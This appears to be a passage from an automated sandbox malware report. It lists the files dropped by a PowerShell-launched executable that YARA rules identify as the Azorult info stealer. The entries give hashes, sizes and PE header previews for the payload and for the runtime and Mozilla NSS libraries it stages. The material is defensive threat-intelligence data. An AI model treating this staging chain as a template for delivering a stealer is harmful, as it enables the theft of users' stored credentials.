SHA-512:	E98CBC8D958E604EFFA614A3964B3D66B6FC646BDCA9AA679EA5E4EB92EC0497B91485A40742F3471F4FF10DE83122331699EDC56A50F06AE86F21FAD70953FE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...\|..O...........!......................... ...............................0......E*....@.............................e............ ..................8=..............T............................................................................text...u........................... ..`.rsrc........ ......................@..@v...................\|..O........9...d...d.......\|..O........d...............\|..O....................RSDS.X...7.......$k....api-ms-win-crt-locale-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg.......e....edata... ..`....rsrc$01....` .......rsrc$02....................\|..O....................8...........5...h...............E...................$...N...t...................$...D...b...!...R............... ...s...................:...k.......................9...X...................

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-math-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	28984
Entropy (8bit):	6.6686462438397
Encrypted:	false
SSDEEP:	384:7OTEmbM4Oe5grykfIgTmLyWPhW30i00GftpBjAKemXlDbNl:dEMq5grxfInbRoiNeSp
MD5:	8B0BA750E7B15300482CE6C961A932F0
SHA1:	71A2F5D76D23E48CEF8F258EAAD63E586CFC0E19
SHA-256:	BECE7BAB83A5D0EC5C35F0841CBBF413E01AC878550FBDB34816ED55185DCFED
SHA-512:	FB646CDCDB462A347ED843312418F037F3212B2481F3897A16C22446824149EE96EB4A4B47A903CA27B1F4D7A352605D4930DF73092C380E3D4D77CE4E972C5A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!.........................@...............................P............@..............................+...........@...............4..8=..............T............................................................................text....,.......................... ..`.rsrc........@.......0..............@..@v...............................7...d...d...................d.......................................RSDSB...=........,....api-ms-win-crt-math-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg........+...edata...@..`....rsrc$01....`@.......rsrc$02................l.......:...:...(...................................(...@...X...q...............................4...M...g........................ ..= ..i ... ... ... ...!..E!..o!...!...!...!..."..F"..s"..."..."..."...#..E#..o#...#...#..

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-multibyte-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	26424
Entropy (8bit):	6.712286643697659
Encrypted:	false
SSDEEP:	384:kDy+Kr6aLPmIHJI6/CpG3t2G3t4odXL5WPhWFY0i00GftpBjbnMxem8hzlmTMiLV:kDZKrZPmIHJI64GoiZMxe0V
MD5:	35FC66BD813D0F126883E695664E7B83
SHA1:	2FD63C18CC5DC4DEFC7EA82F421050E668F68548
SHA-256:	66ABF3A1147751C95689F5BC6A259E55281EC3D06D3332DD0BA464EFFA716735
SHA-512:	65F8397DE5C48D3DF8AD79BAF46C1D3A0761F727E918AE63612EA37D96ADF16CC76D70D454A599F37F9BA9B4E2E38EBC845DF4C74FC1E1131720FD0DCB881431
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....u'............!.....$...................@...............................P............@.............................. ...........@...............*..8=..............T............................................................................text....".......$.................. ..`.rsrc........@.......&..............@..@v....................u'.........<...d...d........u'.........d................u'.....................RSDS7.%..5..+...+.....api-ms-win-crt-multibyte-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg........ ...edata...@..`....rsrc$01....`@.......rsrc$02.....................u'.....................8...X...x...;...`.......................1...T...w...................'...L...q.......................B...e.......................7...Z...}...................+...L...m.......................

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-private-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	73016
Entropy (8bit):	5.838702055399663
Encrypted:	false
SSDEEP:	1536:VAHEGlVDe5c4bFE2Jy2cvxXWpD9d3334BkZnkPFZo6kt:Vc7De5c4bFE2Jy2cvxXWpD9d3334BkZj
MD5:	9910A1BFDC41C5B39F6AF37F0A22AACD
SHA1:	47FA76778556F34A5E7910C816C78835109E4050
SHA-256:	65DED8D2CE159B2F5569F55B2CAF0E2C90F3694BD88C89DE790A15A49D8386B9
SHA-512:	A9788D0F8B3F61235EF4740724B4A0D8C0D3CF51F851C367CC9779AB07F208864A7F1B4A44255E0DE8E030D84B63B1BDB58F12C8C20455FF6A55EF6207B31A91
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....^1...........!................................................................R.....@.............................................................8=..............T............................................................................text............................... ..`.rsrc...............................@..@v.....................^1........:...d...d.........^1........d.................^1....................RSDS.J..w/.8..bu..3.....api-ms-win-crt-private-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata......`....rsrc$01....`........rsrc$02......................^1.....>..............8...h#...5...>...?..7?.._?...?...?...?...@..V@...@...@...@..+A..\A...A...A...A...B..LB...B...B...C..HC...C...C...C...C...D..HD...D...D...E..eE...E...E...F..1F..gF...F...F...G..BG..uG...G..

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-process-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.076072254895036
Encrypted:	false
SSDEEP:	192:aRQqjd7dWIghWG4U9kuDz7M123Ouo+Uggs/nGfe4pBjSbAURWh0txKdmVWQ4CW+6:aKcWPhWFkDz6i00GftpBjYemZlUG+zIU
MD5:	8D02DD4C29BD490E672D271700511371
SHA1:	F3035A756E2E963764912C6B432E74615AE07011
SHA-256:	C03124BA691B187917BA79078C66E12CBF5387A3741203070BA23980AA471E8B
SHA-512:	D44EF51D3AAF42681659FFFFF4DD1A1957EAF4B8AB7BB798704102555DA127B9D7228580DCED4E0FC98C5F4026B1BAB242808E72A76E09726B0AF839E384C3B0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...l.h............!......................... ...............................0.......U....@.............................x............ ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v...................l.h.........:...d...d.......l.h.........d...............l.h.....................RSDSZ\.qM..I....3.....api-ms-win-crt-process-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg.......x....edata... ..`....rsrc$01....` .......rsrc$02....................l.h.............$...$...8.......X...................&...@...Y...q...........................*...E..._...z.......................!...<...V...q...........................9...V...t.......................7...R...i...

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-runtime-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22840
Entropy (8bit):	6.942029615075195
Encrypted:	false
SSDEEP:	384:7b7hrKwWPhWFlsnhi00GftpBj+6em90lmTMiLzrF7:7bNrKxZnhoig6eQN7
MD5:	41A348F9BEDC8681FB30FA78E45EDB24
SHA1:	66E76C0574A549F293323DD6F863A8A5B54F3F9B
SHA-256:	C9BBC07A033BAB6A828ECC30648B501121586F6F53346B1CD0649D7B648EA60B
SHA-512:	8C2CB53CCF9719DE87EE65ED2E1947E266EC7E8343246DEF6429C6DF0DC514079F5171ACD1AA637276256C607F1063144494B992D4635B01E09DDEA6F5EEF204
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....L............!.........................0...............................@.......i....@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@v.....................L.........:...d...d.........L.........d.................L.....................RSDS6..>[d.=. ....C....api-ms-win-crt-runtime-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02......................L.....f.......k...k...8...............................4...S...s.......................E...g.......................)...N...n...................&...E...f...................'...D...j.......................>.......

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-stdio-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	24368
Entropy (8bit):	6.873960147000383
Encrypted:	false
SSDEEP:	384:GZpFVhjWPhWxEi00GftpBjmjjem3Cl1z6h1r:eCfoi0espbr
MD5:	FEFB98394CB9EF4368DA798DEAB00E21
SHA1:	316D86926B558C9F3F6133739C1A8477B9E60740
SHA-256:	B1E702B840AEBE2E9244CD41512D158A43E6E9516CD2015A84EB962FA3FF0DF7
SHA-512:	57476FE9B546E4CAFB1EF4FD1CBD757385BA2D445D1785987AFB46298ACBE4B05266A0C4325868BC4245C2F41E7E2553585BFB5C70910E687F57DAC6A8E911E8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!.........................0...............................@.......)....@.............................a............0..............."..0=..............T............................................................................text...a........................... ..`.rsrc........0......................@..@v...............................8...d...d...................d.......................................RSDS...iS#.hg.....j....api-ms-win-crt-stdio-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg.......a....edata...0..`....rsrc$01....`0.......rsrc$02................^...............(....... ...................<...y...........)...h........... ...]...............H...............)...D...^...v...............................T...u.......................9...Z...{...................0...Q...

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-string-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	23488
Entropy (8bit):	6.840671293766487
Encrypted:	false
SSDEEP:	384:5iFMx0C5yguNvZ5VQgx3SbwA7yMVIkFGlnWPhWGTi00GftpBjslem89lgC:56S5yguNvZ5VQgx3SbwA71IkFv5oialj
MD5:	404604CD100A1E60DFDAF6ECF5BA14C0
SHA1:	58469835AB4B916927B3CABF54AEE4F380FF6748
SHA-256:	73CC56F20268BFB329CCD891822E2E70DD70FE21FC7101DEB3FA30C34A08450C
SHA-512:	DA024CCB50D4A2A5355B7712BA896DF850CEE57AA4ADA33AAD0BAE6960BCD1E5E3CEE9488371AB6E19A2073508FBB3F0B257382713A31BC0947A4BF1F7A20BE4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......S...........!.........................0...............................@......B.....@..........................................0..............."...9..............T............................................................................text............................... ..`.rsrc........0......................@..@v......................S........9...d...d..........S........d..................S....................RSDSI.......$[~f..5....api-ms-win-crt-string-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.......................S....,...............8...........W...s.......................#...B...a...........................<...[...z.......................;...[...{................... ...A...b...........................<...X...r.......

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-time-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20792
Entropy (8bit):	7.018061005886957
Encrypted:	false
SSDEEP:	384:8ZSWWVgWPhWFe3di00GftpBjnlfemHlUG+zITA+0:XRNoibernAA+0
MD5:	849F2C3EBF1FCBA33D16153692D5810F
SHA1:	1F8EDA52D31512EBFDD546BE60990B95C8E28BFB
SHA-256:	69885FD581641B4A680846F93C2DD21E5DD8E3BA37409783BC5B3160A919CB5D
SHA-512:	44DC4200A653363C9A1CB2BDD3DA5F371F7D1FB644D1CE2FF5FE57D939B35130AC8AE27A3F07B82B3428233F07F974628027B0E6B6F70F7B2A8D259BE95222F5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....OI...........!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v....................OI........7...d...d........OI........d................OI....................RSDS...s..,E.w.9I..D....api-ms-win-crt-time-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.........OI............H...H...(...H...h... ...=...\...z.......................8...V...s.......................&...D...a...~.......................?...b.......................!...F...k.......................0...N...k...................

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-utility-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.127951145819804
Encrypted:	false
SSDEEP:	192:QqfHQdu3WIghWG4U9lYdsNtL/123Ouo+Uggs/nGfe4pBjSb8Z9Wh0txKdmVWQ4Cg:/fBWPhWF+esnhi00GftpBjLBemHlP55q
MD5:	B52A0CA52C9C207874639B62B6082242
SHA1:	6FB845D6A82102FF74BD35F42A2844D8C450413B
SHA-256:	A1D1D6B0CB0A8421D7C0D1297C4C389C95514493CD0A386B49DC517AC1B9A2B0
SHA-512:	18834D89376D703BD461EDF7738EB723AD8D54CB92ACC9B6F10CBB55D63DB22C2A0F2F3067FE2CC6FEB775DB397030606608FF791A46BF048016A1333028D0A4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....!5............!......................... ...............................0.......4....@.............................^............ ..................8=..............T............................................................................text...n........................... ..`.rsrc........ ......................@..@v....................!5.........:...d...d........!5.........d................!5.....................RSDS............k.....api-ms-win-crt-utility-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg.......^....edata... ..`....rsrc$01....` .......rsrc$02.....................!5.....d...............8.......(...................#...<...U...l...............................+...@...[...r...................................4...I..._.......................3...N...e...\|.......................

C:\Users\user\AppData\Local\Temp\C7B27BB8\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	332752
Entropy (8bit):	6.8061257098244905
Encrypted:	false
SSDEEP:	6144:C+YBCxpjbRIDmvby5xDXlFVJM8PojGGHrIr1qqDL6XP+jW:Cu4Abg7XV72GI/qn6z
MD5:	343AA83574577727AABE537DCCFDEAFC
SHA1:	9CE3B9A182429C0DBA9821E2E72D3AB46F5D0A06
SHA-256:	393AE7F06FE6CD19EA6D57A93DD0ACD839EE39BA386CF1CA774C4C59A3BFEBD8
SHA-512:	827425D98BA491CD30929BEE6D658FCF537776CE96288180FE670FA6320C64177A7214FF4884AE3AA68E135070F28CA228AFB7F4012B724014BA7D106B5F0DCE
Malicious:	false
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........./...AV..AV..AV...V..AV].@W..AV.1.V..AV].BW..AV].DW..AV].EW..AV..@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV........................PE..L......Z.........."!.........f...............................................p......o.....@.............................P...`........@..p....................P..........T...........................8...@...............8............................text...U........................... ..`.rdata..............................@..@.data...lH..........................@....rsrc...p....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C7B27BB8\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	139216
Entropy (8bit):	6.841477908153926
Encrypted:	false
SSDEEP:	3072:8Oqe98Ea4usvd5jm6V0InXx/CHzGYC6NccMmxK3atIYHD2JJJsPyimY4kQkE:Vqe98Evua5Sm0ux/5YC6NccMmtXHD2JR
MD5:	9E682F1EB98A9D41468FC3E50F907635
SHA1:	85E0CECA36F657DDF6547AA0744F0855A27527EE
SHA-256:	830533BB569594EC2F7C07896B90225006B90A9AF108F49D6FB6BEBD02428B2D
SHA-512:	230230722D61AC1089FABF3F2DECFA04F9296498F8E2A2A49B1527797DCA67B5A11AB8656F04087ACADF873FA8976400D57C77C404EBA4AFF89D92B9986F32ED
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......."yQ.f.?Mf.?Mf.?Mo`.Mv.?M.z>Lb.?M...Md.?M.z<Lh.?M.z;Lm.?M.z:Lu.?MDx>Lo.?Mf.>M..?M.{1Lu.?M.{?Lg.?M.{.Mg.?M.{=Lg.?MRichf.?M................PE..L......Z.........."!.........................................................@............@.............................\...L...,.... ..p....................0......p...T...............................@...................T...@....................text............................... ..`.rdata...b.......d..................@..@.data...............................@....rsrc...p.... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C7B27BB8\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	440120
Entropy (8bit):	6.652844702578311
Encrypted:	false
SSDEEP:	12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
MD5:	109F0F02FD37C84BFC7508D4227D7ED5
SHA1:	EF7420141BB15AC334D3964082361A460BFDB975
SHA-256:	334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
SHA-512:	46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD39
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........V5=......A.....;........."...;......;......;.......;.......;......;.-....;......Rich...........PE..L....8'Y.........."!................P........ ......................................az....@A.........................C.......R..,....................x..8?......4:...f..8............................(..@............P.......@..@....................text...r........................... ..`.data....(... ......................@....idata..6....P....... ..............@..@.didat..4....p.......6..............@....rsrc................8..............@..@.reloc..4:.......<...<..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C7B27BB8\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1244112
Entropy (8bit):	6.809431682312062
Encrypted:	false
SSDEEP:	24576:XDI7I4/FeoJQuQ3IhXtHfjyqgJ0BnPQAib7/12bg2JSna5xfg0867U4MSpu731hn:uQ3YX5jyqgynPkbd24VwMSpu7Fhn
MD5:	556EA09421A0F74D31C4C0A89A70DC23
SHA1:	F739BA9B548EE64B13EB434A3130406D23F836E3
SHA-256:	F0E6210D4A0D48C7908D8D1C270449C91EB4523E312A61256833BFEAF699ABFB
SHA-512:	2481FC80DFFA8922569552C3C3EBAEF8D0341B80427447A14B291EC39EA62AB9C05A75E85EEF5EA7F857488CAB1463C18586F9B076E2958C5A314E459045EDE2
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........x..c+..c+..c+...+..c++.b..c+lh.+..c++.`..c++.f..c++.g..c+.b..c+9.b..c+..b+..c+9.k..c+9.gC.c+9.c..c+9..+..c+9.a..c+Rich..c+................PE..L...a..Z.........."!................T........................................@............@.............................d....<..T.......h.......................t~..0...T...............................@............................................text............................... ..`.rdata...P.......R..................@..@.data....E...`... ...:..............@....rsrc...h............Z..............@..@.reloc..t~...........^..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C7B27BB8\nssdbm3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	92624
Entropy (8bit):	6.639368309935547
Encrypted:	false
SSDEEP:	1536:5vNGVOt0VjOJkbH8femxfRVMNKBDuOQWL1421GlkxERC+ANcFZoZ/6tNRCwI41ZH:hNGVOiBZbcGmxXMcBqmzoCUZoZebHZMw
MD5:	569A7A65658A46F9412BDFA04F86E2B2
SHA1:	44CC0038E891AE73C43B61A71A46C97F98B1030D
SHA-256:	541A293C450E609810279F121A5E9DFA4E924D52E8B0C6C543512B5026EFE7EC
SHA-512:	C027B9D06C627026774195D3EAB72BD245EBBF5521CB769A4205E989B07CB4687993A47061FF6343E6EC1C059C3EC19664B52ED3A1100E6A78CFFB1C46472AFB
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Z.Y.4.Y.4.Y.4.P...U.4...5.[.4..y.Q.4...7.X.4...1.S.4...0.R.4.{.5.[.4...5.Z.4.Y.5...4...0.A.4...4.X.4....X.4...6.X.4.RichY.4.........................PE..L......Z.........."!.........0...............0............................................@..........................?.......@.......`..p............L.......p.......:..T...........................(;..@............0..X............................text............................... ..`.rdata..4....0... ..................@..@.data........P.......>..............@....rsrc...p....`.......@..............@..@.reloc.......p.......D..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C7B27BB8\softokn3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144336
Entropy (8bit):	6.5527585854849395
Encrypted:	false
SSDEEP:	3072:zAf6suip+z7FEk/oJz69sFaXeu9CoT2nIZvetBWqIBoE9Mv:Q6PpsF4CoT2EeY2eMv
MD5:	67827DB2380B5848166A411BAE9F0632
SHA1:	F68F1096C5A3F7B90824AA0F7B9DA372228363FF
SHA-256:	9A7F11C212D61856DFC494DE111911B7A6D9D5E9795B0B70BBBC998896F068AE
SHA-512:	910E15FD39B48CD13427526FDB702135A7164E1748A7EACCD6716BCB64B978FE333AC26FA8EBA73ED33BD32F2330D5C343FCD3F0FE2FFD7DF54DB89052DB7148
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l$...JO..JO..JO.u.O..JO?oKN..JO?oIN..JO?oON..JO?oNN..JO.mKN..JO-nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.O..JO-nHN..JORich..JO........PE..L......Z.........."!.........`...............................................P......+Z....@..........................................0..p....................@..`.......T...........................(...@...............l............................text.............................. ..`.rdata...C.......D..................@..@.data........ ......................@....rsrc...p....0......................@..@.reloc..`....@......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C7B27BB8\ucrtbase.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142072
Entropy (8bit):	6.809041027525523
Encrypted:	false
SSDEEP:	24576:bZBmnrh2YVAPROs7Bt/tX+/APcmcvIZPoy4TbK:FBmF2lIeaAPgb
MD5:	D6326267AE77655F312D2287903DB4D3
SHA1:	1268BEF8E2CA6EBC5FB974FDFAFF13BE5BA7574F
SHA-256:	0BB8C77DE80ACF9C43DE59A8FD75E611CC3EB8200C69F11E94389E8AF2CEB7A9
SHA-512:	11DB71D286E9DF01CB05ACEF0E639C307EFA3FEF8442E5A762407101640AC95F20BAD58F0A21A4DF7DBCDA268F934B996D9906434BF7E575C4382281028F64D4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........E..............o........p..................................................................Rich............................PE..L....3............!.....Z...........=.......p...............................p............@A........................`................................0..8=......$... ...T...........................H...@............................................text....Z.......Z.................. ..`.data........p.......^..............@....idata..6............l..............@..@.rsrc...............................@..@.reloc..$...........................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C7B27BB8\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83784
Entropy (8bit):	6.890347360270656
Encrypted:	false
SSDEEP:	1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
MD5:	7587BF9CB4147022CD5681B015183046
SHA1:	F2106306A8F6F0DA5AFB7FC765CFA0757AD5A628
SHA-256:	C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBD0F142A7BF031C14D
SHA-512:	0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BC0DFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E91F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........NE...E...E.....".G...L.^.N...E...l.......U.......V.......A......._.......D.....2.D.......D...RichE...........PE..L....8'Y.........."!......... ...............................................@............@A......................................... ..................H?...0..........8...............................@............................................text............................... ..`.data...D...........................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	6.303653723841785
Encrypted:	false
SSDEEP:	3072:KExRaQ6raoCoCyz6/mqv1JR+yBtGOeaeWgivq:faO1tme++wiS
MD5:	27864DD446F03F806B26031D97E3377B
SHA1:	18688DE552635BFBE9B3AFAE166B1D86D41ECCC4
SHA-256:	94D346E862D5850B5D19AEFD5053191C47975B2D233958F5145F0390D42C1FBD
SHA-512:	014A27AB976725E15638488AEA3A293AADCCB6B9FB34CC54AE1ED3510A662A6562BF3F4B4E7C8CB90A7BED5FBD63FA13353E52E8270105A7EF4764B83FB867E6
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, Author: Joe Security Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, Author: unknown Rule: Azorult_1, Description: Azorult Payload, Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, Author: kevoreilly Rule: Azorult, Description: detect Azorult in memory, Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, Author: JPCERT/CC Incident Response Group
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................$....................@..............................................@..............................................................\...................................................................................CODE................................ ..`DATA....l...........................@...BSS......................................idata..............................@....reloc..\...........................@..P............................................................................@..P........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0imrvm5u.tbn.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qtva2w4g.jnb.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
